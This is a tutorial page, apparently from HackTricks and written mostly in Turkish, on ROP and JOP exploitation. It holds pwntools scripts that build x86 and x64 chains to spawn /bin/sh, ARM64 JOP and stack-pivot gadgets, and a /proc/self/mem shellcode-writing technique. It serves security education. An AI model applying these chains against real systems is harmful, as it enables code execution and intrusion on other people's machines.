ROP & JOP

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Return-Oriented Programming (ROP), No-Execute (NX) veya Data Execution Prevention (DEP) gibi güvenlik önlemlerini aşmak için kullanılan gelişmiş bir istismar tekniğidir. Shellcode enjekte edip çalıştırmak yerine, saldırgan ikili dosyada veya yüklenmiş kütüphanelerde zaten bulunan, “gadgets” olarak adlandırılan kod parçacıklarından yararlanır. Her gadget tipik olarak bir ret komutu ile biter ve register’lar arasında veri taşımak veya aritmetik işlemler yapmak gibi küçük işlemler gerçekleştirir. Bu gadget’ları zincirleyerek, saldırgan NX/DEP korumalarını etkili şekilde atlayarak keyfi işlemler yapan bir payload oluşturabilir.

ROP Nasıl Çalışır

  1. Kontrol Akışını Ele Geçirme: Öncelikle, saldırgan programın kontrol akışını ele geçirmelidir; bu genellikle bir buffer overflow kullanılarak stack üzerindeki kaydedilmiş dönüş adresinin üzerine yazılmasıyla yapılır.
  2. Gadget Zincirleme: Saldırgan daha sonra istenen eylemleri gerçekleştirmek için gadget’ları dikkatlice seçer ve zincirler. Bu, bir fonksiyon çağrısı için argümanları hazırlamayı, fonksiyonu çağırmayı (ör. system(“/bin/sh”)) ve gerekli temizlik veya ilave işlemleri yapmayı içerebilir.
  3. Payload Çalıştırma: Zafiyetli fonksiyon döndüğünde, meşru bir yere dönmek yerine gadget zincirini çalıştırmaya başlar.

Araçlar

Genellikle gadgets şu araçlarla bulunabilir: ROPgadget, ropper veya doğrudan pwntools üzerinden (ROP).

x86 için ROP Zinciri Örneği

x86 (32-bit) Çağrı düzenleri

  • cdecl: Çağıran taraf stack’i temizler. Fonksiyon argümanları ters sırayla (sağdan sola) stack’e push edilir. Argümanlar sağdan sola doğru stack’e push edilir.
  • stdcall: cdecl’e benzer, ancak callee stack’i temizlemekle yükümlüdür.

Gadgets Bulma

Öncelikle, gerekli gadget’ları ikili dosyada veya yüklü kütüphanelerde tespit ettiğimizi varsayalım. İlgilendiğimiz gadget’lar şunlardır:

  • pop eax; ret: Bu gadget stack’in üstündeki değeri EAX register’ına poplar ve ardından return eder; böylece EAX kontrol edilebilir.
  • pop ebx; ret: Yukarıdakine benzer şekilde EBX register’ı için kontrol sağlar.
  • mov [ebx], eax; ret: EAX’deki değeri EBX’in işaret ettiği bellek konumuna yazar ve ardından return eder. Bu genellikle bir write-what-where gadget olarak adlandırılır.
  • Ayrıca system() fonksiyonunun adresine sahibiz.

ROP Zinciri

pwntools kullanarak, ROP zincirinin çalışması için stack’i şu şekilde hazırlarız; amaç system(‘/bin/sh’) çalıştırmaktır, zincirin nasıl başladığına dikkat edin:

  1. Hizalama amaçlı bir ret komutu (opsiyonel)
  2. Ret2lib daha fazla bilgi için (ASLR kapalı ve bilinen libc varsayımıyla) system fonksiyonunun adresi
  3. system()’in dönüş adresi için bir placeholder
  4. system fonksiyonu için parametre olan “/bin/sh” stringinin adresi
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

x64 için ROP Chain Örneği

x64 (64-bit) Çağrı konvansiyonları

  • Unix-benzeri sistemlerde System V AMD64 ABI çağrı konvansiyonunu kullanır; burada ilk altı tamsayı veya pointer argümanları RDI, RSI, RDX, RCX, R8 ve R9 kayıtlarında geçirilir. Ek argümanlar stack üzerinde geçirilir. Dönüş değeri RAX içine konur.
  • Windows x64 çağrı konvansiyonu ilk dört tamsayı veya pointer argüman için RCX, RDX, R8 ve R9 kullanır; ek argümanlar stack üzerinde geçirilir. Dönüş değeri RAX içine konur.
  • Registers: 64-bit registerlar RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP ve R8 ile R15’i içerir.

Gadgets Bulma

Amacımız açısından, RDI registerını ayarlamamıza (system() fonksiyonuna “/bin/sh” stringini argüman olarak geçirmek için) izin verecek gadget’lara odaklanalım ve ardından system() fonksiyonunu çağıralım. Aşağıdaki gadget’ları tespit ettiğimizi varsayalım:

  • pop rdi; ret: Stack’in üstündeki değeri RDI’ye poplar ve sonra döner. system() için argümanımızı ayarlamak açısından temel.
  • ret: Basit bir return komutu; bazı senaryolarda stack hizalaması için faydalıdır.

Ve system() fonksiyonunun adresini biliyoruz.

ROP Chain

Aşağıda pwntools kullanarak x64 üzerinde system(‘/bin/sh’) çalıştırmayı hedefleyen bir ROP zinciri kurup yürütme örneği verilmiştir:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Bu örnekte:

  • pop rdi; ret gadget’ını RDI’yi "/bin/sh" adresine ayarlamak için kullanıyoruz.
  • RDI’yi ayarladıktan sonra, zincirde system()’ın adresi bulunacak şekilde doğrudan system()’e atlıyoruz.
  • Hedef ortam gerektiriyorsa hizalama için ret_gadget kullanılır; bu, fonksiyon çağrılarından önce doğru stack hizalamasını sağlamak için x64’te daha yaygındır.

Stack Alignment

The x86-64 ABI bir call instruction yürütüldüğünde stack’in 16 bayt hizalı olmasını garanti eder. LIBC, performansı optimize etmek için SSE instructions (ör. movaps) kullanır; bunlar bu hizalamayı gerektirir. Eğer stack doğru hizalanmamışsa (yani RSP 16’nın katı değilse), system gibi fonksiyonlara yapılan çağrılar bir ROP chain içinde başarısız olur. Bunu düzeltmek için, ROP chain’inizde system’i çağırmadan önce basitçe bir ret gadget ekleyin.

x86 vs x64 ana fark

Tip

Çünkü x64 ilk birkaç argüman için register’ları kullanır, basit fonksiyon çağrıları için genellikle x86’ya göre daha az gadget gerekir, ancak register sayısının artması ve adres alanının genişlemesi nedeniyle doğru gadget’ları bulmak ve zincirlemek daha karmaşık olabilir. x64 mimarisindeki daha fazla register ve daha geniş adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında exploit geliştirme için hem fırsatlar hem de zorluklar sunar.

ROP chain in ARM64

ARM64 Basics & Calling conventions ile ilgili bilgi için aşağıdaki sayfaya bakın:

Introduction to ARM64v8

[!DANGER] ARM64’te bir ROP ile bir fonksiyona atladığınızda, mevcut stack pointer’ın stack’e kaydedilmesini önlemek ve fonksiyonun tekrar tekrar çağrıldığı sonsuz bir döngüye girmemek için en azından fonksiyonun 2. instruction’ına atlamanız önemlidir.

Finding gadgets in system Dylds

Sistem kütüphaneleri dyld_shared_cache_arm64 adlı tek bir dosya halinde derlenmiş olarak gelir. Bu dosya tüm sistem kütüphanelerini sıkıştırılmış bir formatta içerir. Bu dosyayı mobil cihazdan indirmek için şu komutu kullanabilirsiniz:

scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect

Daha sonra, dyld_shared_cache_arm64 dosyasından gerçek kütüphaneleri çıkarmak için birkaç araç kullanabilirsiniz:

brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted

Şimdi, exploit ettiğiniz binary için ilginç gadgets bulmak amacıyla, önce binary tarafından hangi kütüphanelerin yüklendiğini bilmeniz gerekiyor. Bunun için lldb* kullanabilirsiniz:

lldb ./vuln
br s -n main
run
image list

Son olarak, ilgilendiğiniz kütüphanelerde gadget’ları bulmak için Ropper kullanabilirsiniz:

# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"

JOP - Jump Oriented Programming

JOP, ROP’a benzer bir tekniktir; ancak her gadget, sonunda RET instruction kullanmak yerine jump adresleri kullanır. Bu, ROP’un mümkün olmadığı durumlarda — örneğin uygun gadget bulunmadığında — özellikle faydalı olabilir. Bu, ret instruction’ın x86/x64 mimarilerindeki kadar yaygın kullanılmadığı ARM mimarilerinde yaygın olarak kullanılır.

JOP gadget’lerini bulmak için rop araçlarını da kullanabilirsiniz, örneğin:

cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0

Bir örneğe bakalım:

  • Çağrılacak şekilde heap’te depolanmış bir function pointer’ı üzerine yazmamıza izin veren heap overflow var.

  • x0 kontrol ettiğimiz bir alana (heap) işaret ediyor

  • Yüklü system libraries’den aşağıdaki gadgets’ları buluyoruz:

0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
  • İlk gadget’ı kullanarak x0’ı /bin/sh’e işaret eden bir pointer ile (heap’te saklı) yükleyebilir ve ardından x0 + 0x30’tan x2’yi system adresi ile yükleyip ona atlayabiliriz.

Stack Pivot

Stack pivoting, exploitation sırasında stack pointer’ı (RSP in x64, SP in ARM64) kontrol edilen bir bellek bölgesini işaret edecek şekilde değiştirmek için kullanılan bir tekniktir; örneğin heap veya stack üzerindeki bir buffer. Saldırgan buraya payload’unu (genellikle bir ROP/JOP chain) yerleştirebilir.

Examples of Stack Pivoting chains:

  • Sadece 1 gadget örneği:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;

The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.

0000001c61a9b9c:
ldr x16, [x0, #0xf8];    // Control x16
ldr x30, [x0, #0x100];   // Control x30
ldp x0, x1, [x0];        // Control x1
mov sp, x16;             // Control sp
ret;                     // ret will jump to x30, which we control

To use this gadget you could use in the heap something like:
<address of x0 to keep x0>     # ldp x0, x1, [x0]
<address of gadget>            # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16)           # Fill until x0+0xf8
<address x0+16>                # Lets point SP to x0+16 to control the stack
<next gadget>                  # This will go into x30, which will be called with ret (so add of 2nd gadget)
  • Örnek birden fazla gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp     x29, x30, [sp], #0x10     // restore FP/LR
autiasp                          // **PAC check on LR**
retab                            // **PAC-aware return**

// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov     sp, x29                  // **pivot candidate**
ret

// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp     x0, x1, [sp], #0x10      // consume args from "new" stack
ret
G1:
stp x8, x1, [sp]  // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0]      // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8            // Branch to the address in x8 (controlled by attacker)

G2:
ldp x29, x30, [sp], #0x10  // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29       // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret

/proc/self/mem ile Shellcode (Embedded Linux)

Zaten bir ROP chain’iniz varsa fakat no RWX mappings, bir alternatif, /proc/self/mem’i kullanarak shellcode’u mevcut işleme yazmak ve sonra ona atlamaktır. Bu, varsayılan yapılandırmalarda /proc/self/mem’in yürütülebilir segmentlerdeki yazma korumalarını yoksayabildiği Embedded Linux hedeflerinde yaygındır.

Tipik zincir fikri:

fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET);   // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)();         // ARM Thumb: jump to target_addr | 1

Eğer fd’yi korumak zor ise, open()’ı birden fazla çağırmak /proc/self/mem için kullanılan dosya tanımlayıcısını tahmin etmeyi mümkün kılabilir. ARM Thumb hedeflerinde, dallanırken (addr | 1) alt biti ayarlamayı unutmayın.

ROP ve JOP’a Karşı Koruma

  • ASLR & PIE: Bu korumalar, gadget’ların adresleri her yürütmede değiştiği için ROP kullanımını zorlaştırır.
  • Stack Canaries: Bir BOF durumunda, dönüş işaretçilerini ezip bir ROP zincirini kötüye kullanmak için Stack Canaries’ın atlatılması gerekir.
  • Lack of Gadgets: Eğer yeterli gadget yoksa bir ROP zinciri oluşturmak mümkün olmayacaktır.

ROP tabanlı teknikler

Unutmayın ki ROP, keyfi kod çalıştırmak için kullanılan bir tekniktir. ROP’a dayalı olarak birçok Ret2XXX tekniği geliştirildi:

  • Ret2lib: Yüklü bir kütüphaneden rastgele parametrelerle fonksiyonları çağırmak için ROP kullanılır (genellikle system('/bin/sh') gibi).

Ret2lib

  • Ret2Syscall: Bir syscall çağrısını (ör. execve) hazırlamak için ROP kullanılır ve böylece rastgele komutlar çalıştırılır.

Ret2syscall

  • EBP2Ret & EBP Chaining: İlki akışı kontrol etmek için EBP’yi EIP yerine suistimal eder; ikincisi Ret2lib’e benzer ancak bu durumda akış ağırlıklı olarak EBP adresleriyle kontrol edilir (her ne kadar EIP’nin de kontrol edilmesi gerekse de).

Stack Pivoting

Diğer Örnekler & Referanslar

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin